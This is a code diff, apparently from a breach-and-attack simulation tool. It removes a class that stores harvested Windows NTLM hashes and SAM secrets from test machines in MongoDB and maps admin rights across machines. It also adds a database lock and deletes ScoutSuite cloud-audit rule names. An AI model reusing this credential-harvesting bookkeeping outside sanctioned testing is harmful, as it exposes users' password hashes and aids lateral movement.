self.add_groups_to_collection() - self.add_users_to_collection() - self.create_group_user_connection() - self.insert_info_to_mongo() - if self.info_for_mongo: - self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) - self.update_admins_retrospective() - self.update_critical_services() - - def update_critical_services(self): - critical_names = ("W3svc", "MSExchangeServiceHost", "dns", "MSSQL$SQLEXPRES") - mongo.db.monkey.update({"_id": self.monkey_id}, {"$set": {"critical_services": []}}) - - services_names_list = [str(i["Name"])[2:-1] for i in self.services] - products_names_list = [str(i["Name"])[2:-2] for i in self.products] - - for name in critical_names: - if name in services_names_list or name in products_names_list: - mongo.db.monkey.update( - {"_id": self.monkey_id}, {"$addToSet": {"critical_services": name}} - ) - - def build_entity_document(self, entity_info, monkey_id=None): - general_properties_dict = { - "SID": str(entity_info["SID"])[4:-1], - "name": str(entity_info["Name"])[2:-1], - "machine_id": monkey_id, - "member_of": [], - "admin_on_machines": [], - } - - if monkey_id: - general_properties_dict["domain_name"] = None - else: - general_properties_dict["domain_name"] = str(entity_info["Domain"])[2:-1] - - return general_properties_dict - - def add_users_to_collection(self): - for user in self.users_info: - if not user.get("LocalAccount"): - base_entity = self.build_entity_document(user) - else: - base_entity = self.build_entity_document(user, self.monkey_id) - base_entity["NTLM_secret"] = self.users_secrets.get(base_entity["name"], {}).get( - "ntlm_hash" - ) - base_entity["SAM_secret"] = self.users_secrets.get(base_entity["name"], {}).get("sam") - base_entity["secret_location"] = [] - - base_entity["type"] = USERTYPE - self.info_for_mongo[base_entity.get("SID")] = base_entity - - def add_groups_to_collection(self): - for group in self.groups_info: - if not group.get("LocalAccount"): - base_entity = self.build_entity_document(group) - else: - base_entity = self.build_entity_document(group, self.monkey_id) - base_entity["entities_list"] = [] - base_entity["type"] = GROUPTYPE - self.info_for_mongo[base_entity.get("SID")] = base_entity - - def create_group_user_connection(self): - for group_user_couple in self.groups_and_users: - group_part = group_user_couple["GroupComponent"] - child_part = group_user_couple["PartComponent"] - group_sid = str(group_part["SID"])[4:-1] - groups_entities_list = self.info_for_mongo[group_sid]["entities_list"] - child_sid = "" - - if isinstance(child_part, str): - child_part = str(child_part) - name = None - domain_name = None - if "cimv2:Win32_UserAccount" in child_part: - # domain user - domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( - '",Name="' - )[0] - name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( - '",Name="' - )[1][:-2] - - if "cimv2:Win32_Group" in child_part: - # domain group - domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split( - '",Name="' - )[0] - name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][ - :-2 - ] - - for entity in self.info_for_mongo: - if ( - self.info_for_mongo[entity]["name"] == name - and self.info_for_mongo[entity]["domain"] == domain_name - ): - child_sid = self.info_for_mongo[entity]["SID"] - else: - child_sid = str(child_part["SID"])[4:-1] - - if child_sid and child_sid not in groups_entities_list: - groups_entities_list.append(child_sid) - - if child_sid: - if child_sid in self.info_for_mongo: - self.info_for_mongo[child_sid]["member_of"].append(group_sid) - - def insert_info_to_mongo(self): - for entity in list(self.info_for_mongo.values()): - if entity["machine_id"]: - # Handling for local entities. - mongo.db.groupsandusers.update( - {"SID": entity["SID"], "machine_id": entity["machine_id"]}, entity, upsert=True - ) - else: - # Handlings for domain entities. - if not mongo.db.groupsandusers.find_one({"SID": entity["SID"]}): - mongo.db.groupsandusers.insert_one(entity) - else: - # if entity is domain entity, add the monkey id of current machine to - # secrets_location. - # (found on this machine) - if entity.get("NTLM_secret"): - mongo.db.groupsandusers.update_one( - {"SID": entity["SID"], "type": USERTYPE}, - {"$addToSet": {"secret_location": self.monkey_id}}, - ) - - def update_admins_retrospective(self): - for profile in self.info_for_mongo: - groups_from_mongo = mongo.db.groupsandusers.find( - {"SID": {"$in": self.info_for_mongo[profile]["member_of"]}}, - {"admin_on_machines": 1}, - ) - - for group in groups_from_mongo: - if group["admin_on_machines"]: - mongo.db.groupsandusers.update_one( - {"SID": self.info_for_mongo[profile]["SID"]}, - {"$addToSet": {"admin_on_machines": {"$each": group["admin_on_machines"]}}}, - ) - - def add_admin(self, group, machine_id): - for sid in group["entities_list"]: - mongo.db.groupsandusers.update_one( - {"SID": sid}, {"$addToSet": {"admin_on_machines": machine_id}} - ) - entity_details = mongo.db.groupsandusers.find_one( - {"SID": sid}, {"type": USERTYPE, "entities_list": 1} - ) - if entity_details.get("type") == GROUPTYPE: - self.add_admin(entity_details, machine_id) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index 6c8063eca..53f3e44a9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -1,6 +1,7 @@ from typing import List from bson import ObjectId +from gevent.lock import BoundedSemaphore from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event @@ -9,6 +10,10 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind class MonkeyZTFindingService: + + # Required to synchronize db state between different threads + _finding_lock = BoundedSemaphore() + @staticmethod def create_or_add_to_existing(test: str, status: str, events: List[Event]): """ @@ -20,16 +25,17 @@ class MonkeyZTFindingService: the query - this is not when this function should be used. """ - existing_findings = list(MonkeyFinding.objects(test=test, status=status)) - assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( - test, status - ) + with MonkeyZTFindingService._finding_lock: + existing_findings = list(MonkeyFinding.objects(test=test, status=status)) + assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( + test, status + ) - if len(existing_findings) == 0: - MonkeyZTFindingService.create_new_finding(test, status, events) - else: - # Now we know for sure this is the only one - MonkeyZTFindingService.add_events(existing_findings[0], events) + if len(existing_findings) == 0: + MonkeyZTFindingService.create_new_finding(test, status, events) + else: + # Now we know for sure this is the only one + MonkeyZTFindingService.add_events(existing_findings[0], events) @staticmethod def create_new_finding(test: str, status: str, events: List[Event]): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py deleted file mode 100644 index 08d6600a9..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py +++ /dev/null @@ -1,4 +0,0 @@ -RULE_LEVEL_DANGER = "danger" -RULE_LEVEL_WARNING = "warning" - -RULE_LEVELS = (RULE_LEVEL_DANGER, RULE_LEVEL_WARNING) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py deleted file mode 100644 index c8dbffb46..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py +++ /dev/null @@ -1,8 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class CloudformationRules(RuleNameEnum): - # Service Security - CLOUDFORMATION_STACK_WITH_ROLE = "cloudformation-stack-with-role" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py deleted file mode 100644 index 04d1599dd..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py +++ /dev/null @@ -1,13 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class CloudTrailRules(RuleNameEnum): - # Logging - CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = "cloudtrail-duplicated-global-services-logging" - CLOUDTRAIL_NO_DATA_LOGGING = "cloudtrail-no-data-logging" - CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING = "cloudtrail-no-global-services-logging" - CLOUDTRAIL_NO_LOG_FILE_VALIDATION = "cloudtrail-no-log-file-validation" - CLOUDTRAIL_NO_LOGGING = "cloudtrail-no-logging" - CLOUDTRAIL_NOT_CONFIGURED = "cloudtrail-not-configured" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py deleted file mode 100644 index 954e6fc11..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py +++ /dev/null @@ -1,8 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class CloudWatchRules(RuleNameEnum): - # Logging - CLOUDWATCH_ALARM_WITHOUT_ACTIONS = "cloudwatch-alarm-without-actions" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py deleted file mode 100644 index 6487bda99..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py +++ /dev/null @@ -1,8 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class ConfigRules(RuleNameEnum): - # Logging - CONFIG_RECORDER_NOT_CONFIGURED = "config-recorder-not-configured" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py deleted file mode 100644 index 648fbed61..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py +++ /dev/null @@ -1,37 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class EC2Rules(RuleNameEnum): - # Permissive firewall rules - SECURITY_GROUP_ALL_PORTS_TO_ALL = "ec2-security-group-opens-all-ports-to-all" - SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = "ec2-security-group-opens-TCP-port-to-all" - SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = "ec2-security-group-opens-UDP-port-to-all" - SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = "ec2-security-group-opens-RDP-port-to-all" - SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = "ec2-security-group-opens-SSH-port-to-all" - SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = "ec2-security-group-opens-MySQL-port-to-all" - SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = "ec2-security-group-opens-MsSQL-port-to-all" - SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = "ec2-security-group-opens-MongoDB-port-to-all" - SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = "ec2-security-group-opens-Oracle DB-port-to-all" - SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = "ec2-security-group-opens-PostgreSQL-port-to-all" - SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = "ec2-security-group-opens-NFS-port-to-all" - SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = "ec2-security-group-opens-SMTP-port-to-all" - SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = "ec2-security-group-opens-DNS-port-to-all" - SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = "ec2-security-group-opens-all-ports-to-self" - SECURITY_GROUP_OPENS_ALL_PORTS = "ec2-security-group-opens-all-ports" - SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = "ec2-security-group-opens-plaintext-port-FTP" - SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = "ec2-security-group-opens-plaintext-port-Telnet" - SECURITY_GROUP_OPENS_PORT_RANGE = "ec2-security-group-opens-port-range" - EC2_SECURITY_GROUP_WHITELISTS_AWS = "ec2-security-group-whitelists-aws" - - # Encryption - EBS_SNAPSHOT_NOT_ENCRYPTED = "ec2-ebs-snapshot-not-encrypted" - EBS_VOLUME_NOT_ENCRYPTED = "ec2-ebs-volume-not-encrypted" - EC2_INSTANCE_WITH_USER_DATA_SECRETS = "ec2-instance-with-user-data-secrets" - - # Permissive policies - AMI_PUBLIC = "ec2-ami-public" - EC2_DEFAULT_SECURITY_GROUP_IN_USE = "ec2-default-security-group-in-use" - EC2_DEFAULT_SECURITY_GROUP_WITH_RULES = "ec2-default-security-group-with-rules" - EC2_EBS_SNAPSHOT_PUBLIC = "ec2-ebs-snapshot-public" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py deleted file mode 100644 index c4fad62ec..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class ELBRules(RuleNameEnum): - # Logging - ELB_NO_ACCESS_LOGS = "elb-no-access-logs" - - # Encryption - ELB_LISTENER_ALLOWING_CLEARTEXT = "elb-listener-allowing-cleartext" - ELB_OLDER_SSL_POLICY = "elb-older-ssl-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py deleted file mode 100644 index 90590a651..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py +++ /dev/null @@ -1,18 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class ELBv2Rules(RuleNameEnum): - # Encryption - ELBV2_LISTENER_ALLOWING_CLEARTEXT = "elbv2-listener-allowing-cleartext" - ELBV2_OLDER_SSL_POLICY = "elbv2-older-ssl-policy" - - # Logging - ELBV2_NO_ACCESS_LOGS = "elbv2-no-access-logs" - - # Data loss prevention - ELBV2_NO_DELETION_PROTECTION = "elbv2-no-deletion-protection" - - # Service security - ELBV2_HTTP_REQUEST_SMUGGLING = "elbv2-http-request-smuggling" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py deleted file mode 100644 index 8589446bb..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py +++ /dev/null @@ -1,41 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class IAMRules(RuleNameEnum): - # Authentication/authorization - IAM_USER_NO_ACTIVE_KEY_ROTATION = "iam-user-no-Active-key-rotation" - IAM_PASSWORD_POLICY_MINIMUM_LENGTH = "iam-password-policy-minimum-length" - IAM_PASSWORD_POLICY_NO_EXPIRATION = "iam-password-policy-no-expiration" - IAM_PASSWORD_POLICY_REUSE_ENABLED = "iam-password-policy-reuse-enabled" - IAM_USER_WITH_PASSWORD_AND_KEY = "iam-user-with-password-and-key" - IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA = "iam-assume-role-lacks-external-id-and-mfa" - IAM_USER_WITHOUT_MFA = "iam-user-without-mfa" - IAM_ROOT_ACCOUNT_NO_MFA = "iam-root-account-no-mfa" - IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS = "iam-root-account-with-active-keys" - IAM_USER_NO_INACTIVE_KEY_ROTATION = "iam-user-no-Inactive-key-rotation" - IAM_USER_WITH_MULTIPLE_ACCESS_KEYS = "iam-user-with-multiple-access-keys" - - # Least privilege - IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL = "iam-assume-role-policy-allows-all" - IAM_EC2_ROLE_WITHOUT_INSTANCES = "iam-ec2-role-without-instances" - IAM_GROUP_WITH_INLINE_POLICIES = "iam-group-with-inline-policies" - IAM_GROUP_WITH_NO_USERS = "iam-group-with-no-users" - IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-group-policy-allows-iam-PassRole" - IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS = "iam-inline-group-policy-allows-NotActions" - IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-group-policy-allows-sts-AssumeRole" - IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-role-policy-allows-iam-PassRole" - IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS = "iam-inline-role-policy-allows-NotActions" - IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-role-policy-allows-sts-AssumeRole" - IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-user-policy-allows-iam-PassRole" - IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS = "iam-inline-user-policy-allows-NotActions" - IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-user-policy-allows-sts-AssumeRole" - IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE = "iam-managed-policy-allows-iam-PassRole" - IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS = "iam-managed-policy-allows-NotActions" - IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-managed-policy-allows-sts-AssumeRole" - IAM_MANAGED_POLICY_NO_ATTACHMENTS = "iam-managed-policy-no-attachments" - IAM_ROLE_WITH_INLINE_POLICIES = "iam-role-with-inline-policies" - IAM_ROOT_ACCOUNT_USED_RECENTLY = "iam-root-account-used-recently" - IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS = "iam-root-account-with-active-certs" - IAM_USER_WITH_INLINE_POLICIES = "iam-user-with-inline-policies" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py deleted file mode 100644 index db8e2602b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py +++ /dev/null @@ -1,21 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class RDSRules(RuleNameEnum): - # Encryption - RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = "rds-instance-storage-not-encrypted" - - # Data loss prevention - RDS_INSTANCE_BACKUP_DISABLED = "rds-instance-backup-disabled" - RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD = "rds-instance-short-backup-retention-period" - RDS_INSTANCE_SINGLE_AZ = "rds-instance-single-az" - - # Firewalls - RDS_SECURITY_GROUP_ALLOWS_ALL = "rds-security-group-allows-all" - RDS_SNAPSHOT_PUBLIC = "rds-snapshot-public" - - # Service security - RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED = "rds-instance-ca-certificate-deprecated" - RDS_INSTANCE_NO_MINOR_UPGRADE = "rds-instance-no-minor-upgrade" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py deleted file mode 100644 index 20fa6337d..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py +++ /dev/null @@ -1,21 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class RedshiftRules(RuleNameEnum): - # Encryption - REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = "redshift-cluster-database-not-encrypted" - REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = "redshift-parameter-group-ssl-not-required" - - # Firewalls - REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL = "redshift-security-group-whitelists-all" - - # Restrictive Policies - REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE = "redshift-cluster-publicly-accessible" - - # Logging - REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED = "redshift-parameter-group-logging-disabled" - - # Service security - REDSHIFT_CLUSTER_NO_VERSION_UPGRADE = "redshift-cluster-no-version-upgrade" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py deleted file mode 100644 index 5ad382c3d..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py +++ /dev/null @@ -1,5 +0,0 @@ -from enum import Enum - - -class RuleNameEnum(Enum): - pass diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py deleted file mode 100644 index a57d95f7c..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py +++ /dev/null @@ -1,31 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class S3Rules(RuleNameEnum): - # Encryption - S3_BUCKET_ALLOWING_CLEARTEXT = "s3-bucket-allowing-cleartext" - S3_BUCKET_NO_DEFAULT_ENCRYPTION = "s3-bucket-no-default-encryption" - - # Data loss prevention - S3_BUCKET_NO_MFA_DELETE = "s3-bucket-no-mfa-delete" - S3_BUCKET_NO_VERSIONING = "s3-bucket-no-versioning" - - # Logging - S3_BUCKET_NO_LOGGING = "s3-bucket-no-logging" - - # Permissive access rules - S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP = "s3-bucket-AuthenticatedUsers-write_acp" - S3_BUCKET_AUTHENTICATEDUSERS_WRITE = "s3-bucket-AuthenticatedUsers-write" - S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP = "s3-bucket-AuthenticatedUsers-read_acp" - S3_BUCKET_AUTHENTICATEDUSERS_READ = "s3-bucket-AuthenticatedUsers-read" - S3_BUCKET_ALLUSERS_WRITE_ACP = "s3-bucket-AllUsers-write_acp" - S3_BUCKET_ALLUSERS_WRITE = "s3-bucket-AllUsers-write" - S3_BUCKET_ALLUSERS_READ_ACP = "s3-bucket-AllUsers-read_acp" - S3_BUCKET_ALLUSERS_READ = "s3-bucket-AllUsers-read" - S3_BUCKET_WORLD_PUT_POLICY = "s3-bucket-world-Put-policy" - S3_BUCKET_WORLD_POLICY_STAR = "s3-bucket-world-policy-star" - S3_BUCKET_WORLD_LIST_POLICY = "s3-bucket-world-List-policy" - S3_BUCKET_WORLD_GET_POLICY = "s3-bucket-world-Get-policy" - S3_BUCKET_WORLD_DELETE_POLICY = "s3-bucket-world-Delete-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py deleted file mode 100644 index a73e00478..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py +++ /dev/null @@ -1,9 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class SESRules(RuleNameEnum): - # Permissive policies - SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = "ses-identity-world-SendRawEmail-policy" - SES_IDENTITY_WORLD_SENDEMAIL_POLICY = "ses-identity-world-SendEmail-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py deleted file mode 100644 index 09d410239..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py +++ /dev/null @@ -1,14 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class SNSRules(RuleNameEnum): - # Permissive policies - SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = "sns-topic-world-Subscribe-policy" - SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = "sns-topic-world-SetTopicAttributes-policy" - SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY = "sns-topic-world-RemovePermission-policy" - SNS_TOPIC_WORLD_RECEIVE_POLICY = "sns-topic-world-Receive-policy" - SNS_TOPIC_WORLD_PUBLISH_POLICY = "sns-topic-world-Publish-policy" - SNS_TOPIC_WORLD_DELETETOPIC_POLICY = "sns-topic-world-DeleteTopic-policy" - SNS_TOPIC_WORLD_ADDPERMISSION_POLICY = "sns-topic-world-AddPermission-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py deleted file mode 100644 index 44e666f96..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py +++ /dev/null @@ -1,16 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class SQSRules(RuleNameEnum): - # Permissive policies - SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = "sqs-queue-world-SendMessage-policy" - SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = "sqs-queue-world-ReceiveMessage-policy" - SQS_QUEUE_WORLD_PURGEQUEUE_POLICY = "sqs-queue-world-PurgeQueue-policy" - SQS_QUEUE_WORLD_GETQUEUEURL_POLICY = "sqs-queue-world-GetQueueUrl-policy" - SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY = "sqs-queue-world-GetQueueAttributes-policy" - SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY = "sqs-queue-world-DeleteMessage-policy" - SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY = ( - "sqs-queue-world-ChangeMessageVisibility-policy" - ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py deleted file mode 100644 index f4ecba532..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py +++ /dev/null @@ -1,17 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class VPCRules(RuleNameEnum): - # Logging - SUBNET_WITHOUT_FLOW_LOG = "vpc-subnet-without-flow-log" - - # Firewalls - SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS = "vpc-subnet-with-allow-all-ingress-acls" - SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS = "vpc-subnet-with-allow-all-egress-acls" - NETWORK_ACL_NOT_USED = "vpc-network-acl-not-used" - DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-default-network-acls-allow-all-ingress" - DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-default-network-acls-allow-all-egress" - CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-custom-network-acls-allow-all-ingress" - CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-custom-network-acls-allow-all-egress" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py deleted file mode 100644 index ddab1cfd6..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py +++ /dev/null @@ -1,224 +0,0 @@ -from abc import ABC, abstractmethod -from typing import List - -from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import ( - CloudformationRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import ( - CloudTrailRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import ( - CloudWatchRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ( - ConfigRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import ( - RedshiftRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules 